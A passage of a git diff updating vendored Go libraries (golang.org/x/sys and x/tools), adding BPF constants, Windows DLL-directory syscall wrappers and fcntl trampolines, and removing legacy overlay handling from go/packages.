GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8
DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB)
+TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0
+ JMP libc_fcntl(SB)
+GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8
+DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB)
+
TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0
JMP libc_ppoll(SB)
GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8
diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go
index 997bcd55ae..bbf8399ff5 100644
--- a/vendor/golang.org/x/sys/unix/ztypes_linux.go
+++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go
@@ -2671,6 +2671,7 @@ const (
BPF_PROG_TYPE_LSM = 0x1d
BPF_PROG_TYPE_SK_LOOKUP = 0x1e
BPF_PROG_TYPE_SYSCALL = 0x1f
+ BPF_PROG_TYPE_NETFILTER = 0x20
BPF_CGROUP_INET_INGRESS = 0x0
BPF_CGROUP_INET_EGRESS = 0x1
BPF_CGROUP_INET_SOCK_CREATE = 0x2
@@ -2715,6 +2716,11 @@ const (
BPF_PERF_EVENT = 0x29
BPF_TRACE_KPROBE_MULTI = 0x2a
BPF_LSM_CGROUP = 0x2b
+ BPF_STRUCT_OPS = 0x2c
+ BPF_NETFILTER = 0x2d
+ BPF_TCX_INGRESS = 0x2e
+ BPF_TCX_EGRESS = 0x2f
+ BPF_TRACE_UPROBE_MULTI = 0x30
BPF_LINK_TYPE_UNSPEC = 0x0
BPF_LINK_TYPE_RAW_TRACEPOINT = 0x1
BPF_LINK_TYPE_TRACING = 0x2
@@ -2725,6 +2731,18 @@ const (
BPF_LINK_TYPE_PERF_EVENT = 0x7
BPF_LINK_TYPE_KPROBE_MULTI = 0x8
BPF_LINK_TYPE_STRUCT_OPS = 0x9
+ BPF_LINK_TYPE_NETFILTER = 0xa
+ BPF_LINK_TYPE_TCX = 0xb
+ BPF_LINK_TYPE_UPROBE_MULTI = 0xc
+ BPF_PERF_EVENT_UNSPEC = 0x0
+ BPF_PERF_EVENT_UPROBE = 0x1
+ BPF_PERF_EVENT_URETPROBE = 0x2
+ BPF_PERF_EVENT_KPROBE = 0x3
+ BPF_PERF_EVENT_KRETPROBE = 0x4
+ BPF_PERF_EVENT_TRACEPOINT = 0x5
+ BPF_PERF_EVENT_EVENT = 0x6
+ BPF_F_KPROBE_MULTI_RETURN = 0x1
+ BPF_F_UPROBE_MULTI_RETURN = 0x1
BPF_ANY = 0x0
BPF_NOEXIST = 0x1
BPF_EXIST = 0x2
@@ -2742,6 +2760,8 @@ const (
BPF_F_MMAPABLE = 0x400
BPF_F_PRESERVE_ELEMS = 0x800
BPF_F_INNER_MAP = 0x1000
+ BPF_F_LINK = 0x2000
+ BPF_F_PATH_FD = 0x4000
BPF_STATS_RUN_TIME = 0x0
BPF_STACK_BUILD_ID_EMPTY = 0x0
BPF_STACK_BUILD_ID_VALID = 0x1
@@ -2762,6 +2782,7 @@ const (
BPF_F_ZERO_CSUM_TX = 0x2
BPF_F_DONT_FRAGMENT = 0x4
BPF_F_SEQ_NUMBER = 0x8
+ BPF_F_NO_TUNNEL_KEY = 0x10
BPF_F_TUNINFO_FLAGS = 0x10
BPF_F_INDEX_MASK = 0xffffffff
BPF_F_CURRENT_CPU = 0xffffffff
@@ -2778,6 +2799,8 @@ const (
BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 0x10
BPF_F_ADJ_ROOM_NO_CSUM_RESET = 0x20
BPF_F_ADJ_ROOM_ENCAP_L2_ETH = 0x40
+ BPF_F_ADJ_ROOM_DECAP_L3_IPV4 = 0x80
+ BPF_F_ADJ_ROOM_DECAP_L3_IPV6 = 0x100
BPF_ADJ_ROOM_ENCAP_L2_MASK = 0xff
BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 0x38
BPF_F_SYSCTL_BASE_NAME = 0x1
@@ -2866,6 +2889,8 @@ const (
BPF_DEVCG_DEV_CHAR = 0x2
BPF_FIB_LOOKUP_DIRECT = 0x1
BPF_FIB_LOOKUP_OUTPUT = 0x2
+ BPF_FIB_LOOKUP_SKIP_NEIGH = 0x4
+ BPF_FIB_LOOKUP_TBID = 0x8
BPF_FIB_LKUP_RET_SUCCESS = 0x0
BPF_FIB_LKUP_RET_BLACKHOLE = 0x1
BPF_FIB_LKUP_RET_UNREACHABLE = 0x2
@@ -2901,6 +2926,7 @@ const (
BPF_CORE_ENUMVAL_EXISTS = 0xa
BPF_CORE_ENUMVAL_VALUE = 0xb
BPF_CORE_TYPE_MATCHES = 0xc
+ BPF_F_TIMER_ABS = 0x1
)
const (
@@ -2979,6 +3005,12 @@ type LoopInfo64 struct {
Encrypt_key [32]uint8
Init [2]uint64
}
+type LoopConfig struct {
+ Fd uint32
+ Size uint32
+ Info LoopInfo64
+ _ [8]uint64
+}
type TIPCSocketAddr struct {
Ref uint32
diff --git a/vendor/golang.org/x/sys/windows/syscall_windows.go b/vendor/golang.org/x/sys/windows/syscall_windows.go
index fb6cfd0462..47dc579676 100644
--- a/vendor/golang.org/x/sys/windows/syscall_windows.go
+++ b/vendor/golang.org/x/sys/windows/syscall_windows.go
@@ -155,6 +155,8 @@ func NewCallbackCDecl(fn interface{}) uintptr {
//sys GetModuleFileName(module Handle, filename *uint16, size uint32) (n uint32, err error) = kernel32.GetModuleFileNameW
//sys GetModuleHandleEx(flags uint32, moduleName *uint16, module *Handle) (err error) = kernel32.GetModuleHandleExW
//sys SetDefaultDllDirectories(directoryFlags uint32) (err error)
+//sys AddDllDirectory(path *uint16) (cookie uintptr, err error) = kernel32.AddDllDirectory
+//sys RemoveDllDirectory(cookie uintptr) (err error) = kernel32.RemoveDllDirectory
//sys SetDllDirectory(path string) (err error) = kernel32.SetDllDirectoryW
//sys GetVersion() (ver uint32, err error)
//sys FormatMessage(flags uint32, msgsrc uintptr, msgid uint32, langid uint32, buf []uint16, args *byte) (n uint32, err error) = FormatMessageW
diff --git a/vendor/golang.org/x/sys/windows/zsyscall_windows.go b/vendor/golang.org/x/sys/windows/zsyscall_windows.go
index db6282e00a..146a1f0196 100644
--- a/vendor/golang.org/x/sys/windows/zsyscall_windows.go
+++ b/vendor/golang.org/x/sys/windows/zsyscall_windows.go
@@ -184,6 +184,7 @@ var (
procGetAdaptersInfo = modiphlpapi.NewProc("GetAdaptersInfo")
procGetBestInterfaceEx = modiphlpapi.NewProc("GetBestInterfaceEx")
procGetIfEntry = modiphlpapi.NewProc("GetIfEntry")
+ procAddDllDirectory = modkernel32.NewProc("AddDllDirectory")
procAssignProcessToJobObject = modkernel32.NewProc("AssignProcessToJobObject")
procCancelIo = modkernel32.NewProc("CancelIo")
procCancelIoEx = modkernel32.NewProc("CancelIoEx")
@@ -330,6 +331,7 @@ var (
procReadProcessMemory = modkernel32.NewProc("ReadProcessMemory")
procReleaseMutex = modkernel32.NewProc("ReleaseMutex")
procRemoveDirectoryW = modkernel32.NewProc("RemoveDirectoryW")
+ procRemoveDllDirectory = modkernel32.NewProc("RemoveDllDirectory")
procResetEvent = modkernel32.NewProc("ResetEvent")
procResizePseudoConsole = modkernel32.NewProc("ResizePseudoConsole")
procResumeThread = modkernel32.NewProc("ResumeThread")
@@ -1605,6 +1607,15 @@ func GetIfEntry(pIfRow *MibIfRow) (errcode error) {
return
}
+func AddDllDirectory(path *uint16) (cookie uintptr, err error) {
+ r0, _, e1 := syscall.Syscall(procAddDllDirectory.Addr(), 1, uintptr(unsafe.Pointer(path)), 0, 0)
+ cookie = uintptr(r0)
+ if cookie == 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
func AssignProcessToJobObject(job Handle, process Handle) (err error) {
r1, _, e1 := syscall.Syscall(procAssignProcessToJobObject.Addr(), 2, uintptr(job), uintptr(process), 0)
if r1 == 0 {
@@ -2879,6 +2890,14 @@ func RemoveDirectory(path *uint16) (err error) {
return
}
+func RemoveDllDirectory(cookie uintptr) (err error) {
+ r1, _, e1 := syscall.Syscall(procRemoveDllDirectory.Addr(), 1, uintptr(cookie), 0, 0)
+ if r1 == 0 {
+ err = errnoErr(e1)
+ }
+ return
+}
+
func ResetEvent(event Handle) (err error) {
r1, _, e1 := syscall.Syscall(procResetEvent.Addr(), 1, uintptr(event), 0, 0)
if r1 == 0 {
diff --git a/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go b/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go
index 0454cdd78e..333676b7cf 100644
--- a/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go
+++ b/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go
@@ -13,16 +13,17 @@ import (
"golang.org/x/tools/internal/gocommand"
)
-var debug = false
-
func GetSizesForArgsGolist(ctx context.Context, inv gocommand.Invocation, gocmdRunner *gocommand.Runner) (string, string, error) {
inv.Verb = "list"
inv.Args = []string{"-f", "{{context.GOARCH}} {{context.Compiler}}", "--", "unsafe"}
stdout, stderr, friendlyErr, rawErr := gocmdRunner.RunRaw(ctx, inv)
var goarch, compiler string
if rawErr != nil {
- if rawErrMsg := rawErr.Error(); strings.Contains(rawErrMsg, "cannot find main module") || strings.Contains(rawErrMsg, "go.mod file not found") {
- // User's running outside of a module. All bets are off. Get GOARCH and guess compiler is gc.
+ rawErrMsg := rawErr.Error()
+ if strings.Contains(rawErrMsg, "cannot find main module") ||
+ strings.Contains(rawErrMsg, "go.mod file not found") {
+ // User's running outside of a module.
+ // All bets are off. Get GOARCH and guess compiler is gc.
// TODO(matloob): Is this a problem in practice?
inv.Verb = "env"
inv.Args = []string{"GOARCH"}
@@ -32,8 +33,12 @@ func GetSizesForArgsGolist(ctx context.Context, inv gocommand.Invocation, gocmdR
}
goarch = strings.TrimSpace(envout.String())
compiler = "gc"
- } else {
+ } else if friendlyErr != nil {
return "", "", friendlyErr
+ } else {
+ // This should be unreachable, but be defensive
+ // in case RunRaw's error results are inconsistent.
+ return "", "", rawErr
}
} else {
fields := strings.Fields(stdout.String())
diff --git a/vendor/golang.org/x/tools/go/packages/external.go b/vendor/golang.org/x/tools/go/packages/external.go
index 7242a0a7d2..7db1d1293a 100644
--- a/vendor/golang.org/x/tools/go/packages/external.go
+++ b/vendor/golang.org/x/tools/go/packages/external.go
@@ -12,8 +12,8 @@ import (
"bytes"
"encoding/json"
"fmt"
- exec "golang.org/x/sys/execabs"
"os"
+ "os/exec"
"strings"
)
diff --git a/vendor/golang.org/x/tools/go/packages/golist.go b/vendor/golang.org/x/tools/go/packages/golist.go
index 1f1eade0ac..cd375fbc3c 100644
--- a/vendor/golang.org/x/tools/go/packages/golist.go
+++ b/vendor/golang.org/x/tools/go/packages/golist.go
@@ -11,6 +11,7 @@ import (
"fmt"
"log"
"os"
+ "os/exec"
"path"
"path/filepath"
"reflect"
@@ -20,7 +21,6 @@ import (
"sync"
"unicode"
- exec "golang.org/x/sys/execabs"
"golang.org/x/tools/go/internal/packagesdriver"
"golang.org/x/tools/internal/gocommand"
"golang.org/x/tools/internal/packagesinternal"
@@ -208,62 +208,6 @@ extractQueries:
}
}
- // Only use go/packages' overlay processing if we're using a Go version
- // below 1.16. Otherwise, go list handles it.
- if goVersion, err := state.getGoVersion(); err == nil && goVersion < 16 {
- modifiedPkgs, needPkgs, err := state.processGolistOverlay(response)
- if err != nil {
- return nil, err
- }
-
- var containsCandidates []string
- if len(containFiles) > 0 {
- containsCandidates = append(containsCandidates, modifiedPkgs...)
- containsCandidates = append(containsCandidates, needPkgs...)
- }
- if err := state.addNeededOverlayPackages(response, needPkgs); err != nil {
- return nil, err
- }
- // Check candidate packages for containFiles.
- if len(containFiles) > 0 {
- for _, id := range containsCandidates {
- pkg, ok := response.seenPackages[id]
- if !ok {
- response.addPackage(&Package{
- ID: id,
- Errors: []Error{{
- Kind: ListError,
- Msg: fmt.Sprintf("package %s expected but not seen", id),
- }},
- })
- continue
- }
- for _, f := range containFiles {
- for _, g := range pkg.GoFiles {
- if sameFile(f, g) {
- response.addRoot(id)
- }
- }
- }
- }
- }
- // Add root for any package that matches a pattern. This applies only to
- // packages that are modified by overlays, since they are not added as
- // roots automatically.
- for _, pattern := range restPatterns {
- match := matchPattern(pattern)
- for _, pkgID := range modifiedPkgs {
- pkg, ok := response.seenPackages[pkgID]
- if !ok {
- continue
- }
- if match(pkg.PkgPath) {
- response.addRoot(pkg.ID)
- }
- }
- }
- }
-
sizeswg.Wait()
if sizeserr != nil {
return nil, sizeserr
@@ -271,24 +215,6 @@ extractQueries:
return response.dr, nil
}
-func (state *golistState) addNeededOverlayPackages(response *responseDeduper, pkgs []string) error {
- if len(pkgs) == 0 {
- return nil
- }
- dr, err := state.createDriverResponse(pkgs...)
- if err != nil {
- return err
- }
- for _, pkg := range dr.Packages {
- response.addPackage(pkg)
- }
- _, needPkgs, err := state.processGolistOverlay(response)
- if err != nil {
- return err
- }
- return state.addNeededOverlayPackages(response, needPkgs)
-}
-
func (state *golistState) runContainsQueries(response *responseDeduper, queries []string) error {
for _, query := range queries {
// TODO(matloob): Do only one query per directory.
diff --git a/vendor/golang.org/x/tools/go/packages/golist_overlay.go b/vendor/golang.org/x/tools/go/packages/golist_overlay.go
index 9576b472f9..d823c474ad 100644
--- a/vendor/golang.org/x/tools/go/packages/golist_overlay.go
+++ b/vendor/golang.org/x/tools/go/packages/golist_overlay.go
@@ -6,314 +6,11 @@ package packages
import (
"encoding/json"
- "fmt"
- "go/parser"
- "go/token"
- "os"
"path/filepath"
- "regexp"
- "sort"
- "strconv"
- "strings"
"golang.org/x/tools/internal/gocommand"
)
-// processGolistOverlay provides rudimentary support for adding
-// files that don't exist on disk to an overlay. The results can be
-// sometimes incorrect.
-// TODO(matloob): Handle unsupported cases, including the following:
-// - determining the correct package to add given a new import path
-func (state *golistState) processGolistOverlay(response *responseDeduper) (modifiedPkgs, needPkgs []string, err error) {
- havePkgs := make(map[string]string) // importPath -> non-test package ID
- needPkgsSet := make(map[string]bool)
- modifiedPkgsSet := make(map[string]bool)
-
- pkgOfDir := make(map[string][]*Package)
- for _, pkg := range response.dr.Packages {
- // This is an approximation of import path to id. This can be
- // wrong for tests, vendored packages, and a number of other cases.
- havePkgs[pkg.PkgPath] = pkg.ID
- dir, err := commonDir(pkg.GoFiles)
- if err != nil {
- return nil, nil, err
- }
- if dir != "" {
- pkgOfDir[dir] = append(pkgOfDir[dir], pkg)
- }
- }
-
- // If no new imports are added, it is safe to avoid loading any needPkgs.
- // Otherwise, it's hard to tell which package is actually being loaded
- // (due to vendoring) and whether any modified package will show up
- // in the transitive set of dependencies (because new imports are added,
- // potentially modifying the transitive set of dependencies).
- var overlayAddsImports bool
-
- // If both a package and its test package are created by the overlay, we
- // need the real package first. Process all non-test files before test
- // files, and make the whole process deterministic while we're at it.
- var overlayFiles []string
- for opath := range state.cfg.Overlay {
- overlayFiles = append(overlayFiles, opath)
- }
- sort.Slice(overlayFiles, func(i, j int) bool {
- iTest := strings.HasSuffix(overlayFiles[i], "_test.go")
- jTest := strings.HasSuffix(overlayFiles[j], "_test.go")
- if iTest != jTest {
- return !iTest // non-tests are before tests.
- }
- return overlayFiles[i] < overlayFiles[j]
- })
- for _, opath := range overlayFiles {
- contents := state.cfg.Overlay[opath]
- base := filepath.Base(opath)
- dir := filepath.Dir(opath)
- var pkg *Package // if opath belongs to both a package and its test variant, this will be the test variant
- var testVariantOf *Package // if opath is a test file, this is the package it is testing
- var fileExists bool
- isTestFile := strings.HasSuffix(opath, "_test.go")
- pkgName, ok := extractPackageName(opath, contents)
- if !ok {
- // Don't bother adding a file that doesn't even have a parsable package statement
- // to the overlay.
- continue
- }
- // If all the overlay files belong to a different package, change the
- // package name to that package.
- maybeFixPackageName(pkgName, isTestFile, pkgOfDir[dir])
- nextPackage:
- for _, p := range response.dr.Packages {
- if pkgName != p.Name && p.ID != "command-line-arguments" {
- continue
- }
- for _, f := range p.GoFiles {
- if !sameFile(filepath.Dir(f), dir) {
- continue
- }
- // Make sure to capture information on the package's test variant, if needed.
- if isTestFile && !hasTestFiles(p) {
- // TODO(matloob): Are there packages other than the 'production' variant
- // of a package that this can match? This shouldn't match the test main package
- // because the file is generated in another directory.
- testVariantOf = p
- continue nextPackage
- } else if !isTestFile && hasTestFiles(p) {
- // We're examining a test variant, but the overlaid file is
- // a non-test file. Because the overlay implementation
- // (currently) only adds a file to one package, skip this
- // package, so that we can add the file to the production
- // variant of the package. (https://golang.org/issue/36857
- // tracks handling overlays on both the production and test
- // variant of a package).
- continue nextPackage
- }
- if pkg != nil && p != pkg && pkg.PkgPath == p.PkgPath {
- // We have already seen the production version of the
- // for which p is a test variant.
- if hasTestFiles(p) {
- testVariantOf = pkg
- }
- }
- pkg = p
- if filepath.Base(f) == base {
- fileExists = true
- }
- }
- }
- // The overlay could have included an entirely new package or an
- // ad-hoc package. An ad-hoc package is one that we have manually
- // constructed from inadequate `go list` results for a file= query.
- // It will have the ID command-line-arguments.
- if pkg == nil || pkg.ID == "command-line-arguments" {
- // Try to find the module or gopath dir the file is contained in.
- // Then for modules, add the module opath to the beginning.
- pkgPath, ok, err := state.getPkgPath(dir)
- if err != nil {
- return nil, nil, err
- }
- if !ok {
- break
- }
- var forTest string // only set for x tests
- isXTest := strings.HasSuffix(pkgName, "_test")
- if isXTest {
- forTest = pkgPath
- pkgPath += "_test"
- }
- id := pkgPath
- if isTestFile {
- if isXTest {
- id = fmt.Sprintf("%s [%s.test]", pkgPath, forTest)
- } else {
- id = fmt.Sprintf("%s [%s.test]", pkgPath, pkgPath)
- }
- }
- if pkg != nil {
- // TODO(rstambler): We should change the package's path and ID
- // here. The only issue is that this messes with the roots.
- } else {
- // Try to reclaim a package with the same ID, if it exists in the response.
- for _, p := range response.dr.Packages {
- if reclaimPackage(p, id, opath, contents) {
- pkg = p
- break
- }
- }
- // Otherwise, create a new package.
- if pkg == nil {
- pkg = &Package{
- PkgPath: pkgPath,
- ID: id,
- Name: pkgName,
- Imports: make(map[string]*Package),
- }
- response.addPackage(pkg)
- havePkgs[pkg.PkgPath] = id
- // Add the production package's sources for a test variant.
- if isTestFile && !isXTest && testVariantOf != nil {
- pkg.GoFiles = append(pkg.GoFiles, testVariantOf.GoFiles...)
- pkg.CompiledGoFiles = append(pkg.CompiledGoFiles, testVariantOf.CompiledGoFiles...)
- // Add the package under test and its imports to the test variant.
- pkg.forTest = testVariantOf.PkgPath
- for k, v := range testVariantOf.Imports {
- pkg.Imports[k] = &Package{ID: v.ID}
- }
- }
- if isXTest {
- pkg.forTest = forTest
- }
- }
- }
- }
- if !fileExists {
- pkg.GoFiles = append(pkg.GoFiles, opath)
- // TODO(matloob): Adding the file to CompiledGoFiles can exhibit the wrong behavior
- // if the file will be ignored due to its build tags.
- pkg.CompiledGoFiles = append(pkg.CompiledGoFiles, opath)
- modifiedPkgsSet[pkg.ID] = true
- }
- imports, err := extractImports(opath, contents)
- if err != nil {
- // Let the parser or type checker report errors later.
- continue
- }
- for _, imp := range imports {
- // TODO(rstambler): If the package is an x test and the import has
- // a test variant, make sure to replace it.
- if _, found := pkg.Imports[imp]; found {
- continue
- }
- overlayAddsImports = true
- id, ok := havePkgs[imp]
- if !ok {
- var err error
- id, err = state.resolveImport(dir, imp)
- if err != nil {
- return nil, nil, err
- }
- }
- pkg.Imports[imp] = &Package{ID: id}
- // Add dependencies to the non-test variant version of this package as well.
- if testVariantOf != nil {
- testVariantOf.Imports[imp] = &Package{ID: id}
- }
- }
- }
-
- // toPkgPath guesses the package path given the id.
- toPkgPath := func(sourceDir, id string) (string, error) {
- if i := strings.IndexByte(id, ' '); i >= 0 {
- return state.resolveImport(sourceDir, id[:i])
- }
- return state.resolveImport(sourceDir, id)
- }
-
- // Now that new packages have been created, do another pass to determine
- // the new set of missing packages.
- for _, pkg := range response.dr.Packages {
- for _, imp := range pkg.Imports {
- if len(pkg.GoFiles) == 0 {
- return nil, nil, fmt.Errorf("cannot resolve imports for package %q with no Go files", pkg.PkgPath)
- }
- pkgPath, err := toPkgPath(filepath.Dir(pkg.GoFiles[0]), imp.ID)
- if err != nil {
- return nil, nil, err
- }
- if _, ok := havePkgs[pkgPath]; !ok {
- needPkgsSet[pkgPath] = true
- }
- }
- }
-
- if overlayAddsImports {
- needPkgs = make([]string, 0, len(needPkgsSet))
- for pkg := range needPkgsSet {
- needPkgs = append(needPkgs, pkg)
- }
- }
- modifiedPkgs = make([]string, 0, len(modifiedPkgsSet))
- for pkg := range modifiedPkgsSet {
- modifiedPkgs = append(modifiedPkgs, pkg)
- }
- return modifiedPkgs, needPkgs, err
-}
-
-// resolveImport finds the ID of a package given its import path.
-// In particular, it will find the right vendored copy when in GOPATH mode.
-func (state *golistState) resolveImport(sourceDir, importPath string) (string, error) {
- env, err := state.getEnv()
- if err != nil {
- return "", err
- }
- if env["GOMOD"] != "" {
- return importPath, nil
- }
-
- searchDir := sourceDir
- for {
- vendorDir := filepath.Join(searchDir, "vendor")
- exists, ok := state.vendorDirs[vendorDir]
- if !ok {
- info, err := os.Stat(vendorDir)
- exists = err == nil && info.IsDir()
- state.vendorDirs[vendorDir] = exists
- }
-
- if exists {
- vendoredPath := filepath.Join(vendorDir, importPath)
- if info, err := os.Stat(vendoredPath); err == nil && info.IsDir() {
- // We should probably check for .go files here, but shame on anyone who fools us.
- path, ok, err := state.getPkgPath(vendoredPath)
- if err != nil {
- return "", err
- }
- if ok {
- return path, nil
- }
- }
- }
-
- // We know we've hit the top of the filesystem when we Dir / and get /,
- // or C:\ and get C:\, etc.
- next := filepath.Dir(searchDir)
- if next == searchDir {
- break
- }
- searchDir = next
- }
- return importPath, nil
-}
-
-func hasTestFiles(p *Package) bool {
- for _, f := range p.GoFiles {
- if strings.HasSuffix(f, "_test.go") {
- return true
- }
- }
- return false
-}
-
// determineRootDirs returns a mapping from absolute directories that could
// contain code to their corresponding import path prefixes.
func (state *golistState) determineRootDirs() (map[string]string, error) {
@@ -384,192 +81,3 @@ func (state *golistState) determineRootDirsGOPATH() (map[string]string, error) {
}
return m, nil
}
-
-func extractImports(filename string, contents []byte) ([]string, error) {
- f, err := parser.ParseFile(token.NewFileSet(), filename, contents, parser.ImportsOnly) // TODO(matloob): reuse fileset?
- if err != nil {
- return nil, err
- }
- var res []string
- for _, imp := range f.Imports {
- quotedPath := imp.Path.Value
- path, err := strconv.Unquote(quotedPath)
- if err != nil {
- return nil, err
- }
- res = append(res, path)
- }
- return res, nil
-}
-
-// reclaimPackage attempts to reuse a package that failed to load in an overlay.
-//
-// If the package has errors and has no Name, GoFiles, or Imports,
-// then it's possible that it doesn't yet exist on disk.
-func reclaimPackage(pkg *Package, id string, filename string, contents []byte) bool {
- // TODO(rstambler): Check the message of the actual error?
- // It differs between $GOPATH and module mode.
- if pkg.ID != id {
- return false
- }
- if len(pkg.Errors) != 1 {
- return false
- }
- if pkg.Name != "" || pkg.ExportFile != "" {
- return false
- }
- if len(pkg.GoFiles) > 0 || len(pkg.CompiledGoFiles) > 0 || len(pkg.OtherFiles) > 0 {
- return false
- }
- if len(pkg.Imports) > 0 {
- return false
- }
- pkgName, ok := extractPackageName(filename, contents)
- if !ok {
- return false
- }
- pkg.Name = pkgName
- pkg.Errors = nil
- return true
-}
-
-func extractPackageName(filename string, contents []byte) (string, bool) {
- // TODO(rstambler): Check the message of the actual error?
- // It differs between $GOPATH and module mode.
- f, err := parser.ParseFile(token.NewFileSet(), filename, contents, parser.PackageClauseOnly) // TODO(matloob): reuse fileset?
- if err != nil {
- return "", false
- }
- return f.Name.Name, true
-}
-
-// commonDir returns the directory that all files are in, "" if files is empty,
-// or an error if they aren't in the same directory.
-func commonDir(files []string) (string, error) {
- seen := make(map[string]bool)
- for _, f := range files {
- seen[filepath.Dir(f)] = true
- }
- if len(seen) > 1 {
- return "", fmt.Errorf("files (%v) are in more than one directory: %v", files, seen)
- }
- for k := range seen {
- // seen has only one element; return it.
- return k, nil
- }
- return "", nil // no files
-}
-
-// It is possible that the files in the disk directory dir have a different package
-// name from newName, which is deduced from the overlays. If they all have a different
-// package name, and they all have the same package name, then that name becomes
-// the package name.
-// It returns true if it changes the package name, false otherwise.
-func maybeFixPackageName(newName string, isTestFile bool, pkgsOfDir []*Package) {
- names := make(map[string]int)
- for _, p := range pkgsOfDir {
- names[p.Name]++
- }
- if len(names) != 1 {
- // some files are in different packages
- return
- }
- var oldName string
- for k := range names {
- oldName = k
- }
- if newName == oldName {
- return
- }
- // We might have a case where all of the package names in the directory are
- // the same, but the overlay file is for an x test, which belongs to its
- // own package. If the x test does not yet exist on disk, we may not yet
- // have its package name on disk, but we should not rename the packages.
- //
- // We use a heuristic to determine if this file belongs to an x test:
- // The test file should have a package name whose package name has a _test
- // suffix or looks like "newName_test".
- maybeXTest := strings.HasPrefix(oldName+"_test", newName) || strings.HasSuffix(newName, "_test")
- if isTestFile && maybeXTest {
- return
- }
- for _, p := range pkgsOfDir {
- p.Name = newName
- }
-}
-
-// This function is copy-pasted from
-// https://github.com/golang/go/blob/9706f510a5e2754595d716bd64be8375997311fb/src/cmd/go/internal/search/search.go#L360.
-// It should be deleted when we remove support for overlays from go/packages.
-//
-// NOTE: This does not handle any ./... or ./ style queries, as this function
-// doesn't know the working directory.
-//
-// matchPattern(pattern)(name) reports whether
-// name matches pattern. Pattern is a limited glob
-// pattern in which '...' means 'any string' and there
-// is no other special syntax.
-// Unfortunately, there are two special cases. Quoting "go help packages":
-//
-// First, /... at the end of the pattern can match an empty string,
-// so that net/... matches both net and packages in its subdirectories, like net/http.
-// Second, any slash-separated pattern element containing a wildcard never
-// participates in a match of the "vendor" element in the path of a vendored
-// package, so that ./... does not match packages in subdirectories of
-// ./vendor or ./mycode/vendor, but ./vendor/... and ./mycode/vendor/... do.
-// Note, however, that a directory named vendor that itself contains code
-// is not a vendored package: cmd/vendor would be a command named vendor,
-// and the pattern cmd/... matches it.
-func matchPattern(pattern string) func(name string) bool {
- // Convert pattern to regular expression.
- // The strategy for the trailing /... is to nest it in an explicit ? expression.
- // The strategy for the vendor exclusion is to change the unmatchable
- // vendor strings to a disallowed code point (vendorChar) and to use
- // "(anything but that codepoint)*" as the implementation of the ... wildcard.
- // This is a bit complicated but the obvious alternative,
- // namely a hand-written search like in most shell glob matchers,
- // is too easy to make accidentally exponential.
- // Using package regexp guarantees linear-time matching.
-
- const vendorChar = "\x00"
-
- if strings.Contains(pattern, vendorChar) {
- return func(name string) bool { return false }
- }
-
- re := regexp.QuoteMeta(pattern)
- re = replaceVendor(re, vendorChar)
- switch {
- case strings.HasSuffix(re, `/`+vendorChar+`/\.\.\.`):
- re = strings.TrimSuffix(re, `/`+vendorChar+`/\.\.\.`) + `(/vendor|/` + vendorChar + `/\.\.\.)`
- case re == vendorChar+`/\.\.\.`:
- re = `(/vendor|/` + vendorChar + `/\.\.\.)`
- case strings.HasSuffix(re, `/\.\.\.`):
- re = strings.TrimSuffix(re, `/\.\.\.`) + `(/\.\.\.)?`
- }
- re = strings.ReplaceAll(re, `\.\.\.`, `[^`+vendorChar+`]*`)
-
- reg := regexp.MustCompile(`^` + re + `$`)
-
- return func(name string) bool {
- if strings.Contains(name, vendorChar) {
- return false
- }
- return reg.MatchString(replaceVendor(name, vendorChar))
- }
-}
-
-// replaceVendor returns the result of replacing
-// non-trailing vendor path elements in x with repl.
-func replaceVendor(x, repl string) string {
- if !strings.Contains(x, "vendor") {
- return x
- }
- elem := strings.Split(x, "/")
- for i := 0; i < len(elem)-1; i++ {
- if elem[i] == "vendor" {
- elem[i] = repl
- }
- }
- return strings.Join(elem, "/")
-}
diff --git a/vendor/golang.org/x/tools/go/packages/packages.go b/vendor/golang.org/x/tools/go/packages/packages.go
index ece0e7c603..bd79efc1aa 100644
--- a/vendor/golang.org/x/tools/go/packages/packages.go
+++ b/vendor/golang.org/x/tools/go/packages/packages.go
@@ -29,6 +29,7 @@ import (
"golang.org/x/tools/internal/packagesinternal"
"golang.org/x/tools/internal/typeparams"
"golang.org/x/tools/internal/typesinternal"
+ "golang.org/x/tools/internal/versions"
)
// A LoadMode controls the amount of detail to return when loading.
@@ -258,31 +259,52 @@ type driverResponse struct {
// proceeding with further analysis. The PrintErrors function is
// provided for convenient display of all errors.
func Load(cfg *Config, patterns ...string) ([]*Package, error) {
- l := newLoader(cfg)
- response, err := defaultDriver(&l.Config, patterns...)
+ ld := newLoader(cfg)
+ response, external, err := defaultDriver(&ld.Config, patterns...)
if err != nil {
return nil, err
}
- l.sizes = types.SizesFor(response.Compiler, response.Arch)
- return l.refine(response)
+
+ ld.sizes = types.SizesFor(response.Compiler, response.Arch)
+ if ld.sizes == nil && ld.Config.Mode&(NeedTypes|NeedTypesSizes|NeedTypesInfo) != 0 {
+ // Type size information is needed but unavailable.
+ if external {
+ // An external driver may fail to populate the Compiler/GOARCH fields,
+ // especially since they are relatively new (see #63700).
+ // Provide a sensible fallback in this case.
+ ld.sizes = types.SizesFor("gc", runtime.GOARCH)
+ if ld.sizes == nil { // gccgo-only arch
+ ld.sizes = types.SizesFor("gc", "amd64")
+ }
+ } else {
+ // Go list should never fail to deliver accurate size information.
+ // Reject the whole Load since the error is the same for every package.
+ return nil, fmt.Errorf("can't determine type sizes for compiler %q on GOARCH %q",
+ response.Compiler, response.Arch)
+ }
+ }
+
+ return ld.refine(response)
}
// defaultDriver is a driver that implements go/packages' fallback behavior.
// It will try to request to an external driver, if one exists. If there's
// no external driver, or the driver returns a response with NotHandled set,
// defaultDriver will fall back to the go list driver.
